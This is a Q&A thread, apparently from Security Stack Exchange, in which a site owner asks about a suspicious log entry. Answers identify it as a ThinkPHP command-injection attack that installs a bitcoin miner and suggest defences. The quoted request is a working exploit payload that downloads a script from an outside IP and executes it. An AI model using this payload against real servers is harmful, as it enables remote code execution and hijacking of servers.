35

I have very little experience with security (still learning) however was combing through my logs and I noticed the following request:

"GET /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=wget%20http://86.105.49.215/a.sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a; HTTP/1.1" 200 16684 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"

Now first of all this made no sense to me with the exception of chmod 777 which tells me someone was trying to change my file permissions.

My question is what kind of attack is this and what steps can I take to prevent it?

Improve this question
11
  • 33
    Specifically, the attacker is targetting ThinkPHP installations that suffer from the remote-code-execution vulnerability documented here. A security update has been released by ThinkPHP. Keep an eye on the inventory of software that you have exposed to the internet, and keep an eye out for vulerabilities found in these packages. In short, stay up to date. The attackers are usually exploiting old versions found to be vulerable.
    – spender
    Commented Feb 28, 2019 at 11:45
  • Are you 1) a developer or 2) a systems engineer / webmaster? Do you develop or run applications?
    – usr-local-ΕΨΗΕΛΩΝ
    Commented Feb 28, 2019 at 17:52
  • 3
    Applications are immune to these attacks by default - you have to actively screw up in order for the attack to work.
    – Stack Exchange Supports Israel
    Commented Feb 28, 2019 at 21:13
  • 1
    So if you're asking how to avoid this attack - unless you're running ThinkPHP, you're already not vulnerable. If you're asking how to avoid similar attacks on your own software - see the information linked by Soufiane.
    – Stack Exchange Supports Israel
    Commented Feb 28, 2019 at 21:21
  • 1
    @immibis It may be worth noting that "actively screwing up" is fairly common with PHP software, at least historically. PHP has a history of making it hard to do the right thing and easy to do the wrong thing security wise (not just in command injection attacks). In my opinion, this is a good reason to avoid PHP if security is a priority (both writing in it and using software written in it), which it should be.
    – jpmc26
    Commented Mar 1, 2019 at 14:48

2 Answers 2

Reset to default
50

It's a command injection attack in which :

the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.

There are many strategies to mitigate or to avoid this kind of attacks like:

  • Do not “exec” out to the Operating System if it can be avoided.
  • Validate untrusted inputs.(Character set,Minimum and maximum length,Match to a Regular Expression Pattern...)
  • Neutralize meta-characters that have meaning in the target OS command-line.
  • Implement “Least Privilege”

You can find somes here and have a look at this cheatsheet from OWASP for further details.

Improve this answer
1
  • The easiest and maybe most important step from the first link is using 'least privilege'. Reducing the power of the application will blunt these kinds of attacks and many others.
    – JimmyJames
    Commented Feb 28, 2019 at 21:47
16

As stated before, it's a command injection attack that attempts to download a .sh script, grant it permissions to run and then execute it. The script in this case is a bitcoin miner.

The recommendations in the OWASP guide that Soufiane should be followed to ensure your web application is secure, but for an extra layer of security a Web Application Firewall can be used which will block requests like these before they reach your server process.

Improve this answer
2
  • 7
    If StackExchange had been using such a firewall it might not have been possible to ask the question in the first place.
    – kasperd
    Commented Mar 1, 2019 at 17:31
  • No way - StackExchange actually does have such a firewall, just try it out: security.stackexchange.com/index.php?s=/index/%5Cthink%5Capp/… (to be fair though, it triggers on the index.php part and not on the querystring)
    – Yogu
    Commented Mar 7, 2019 at 22:21

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .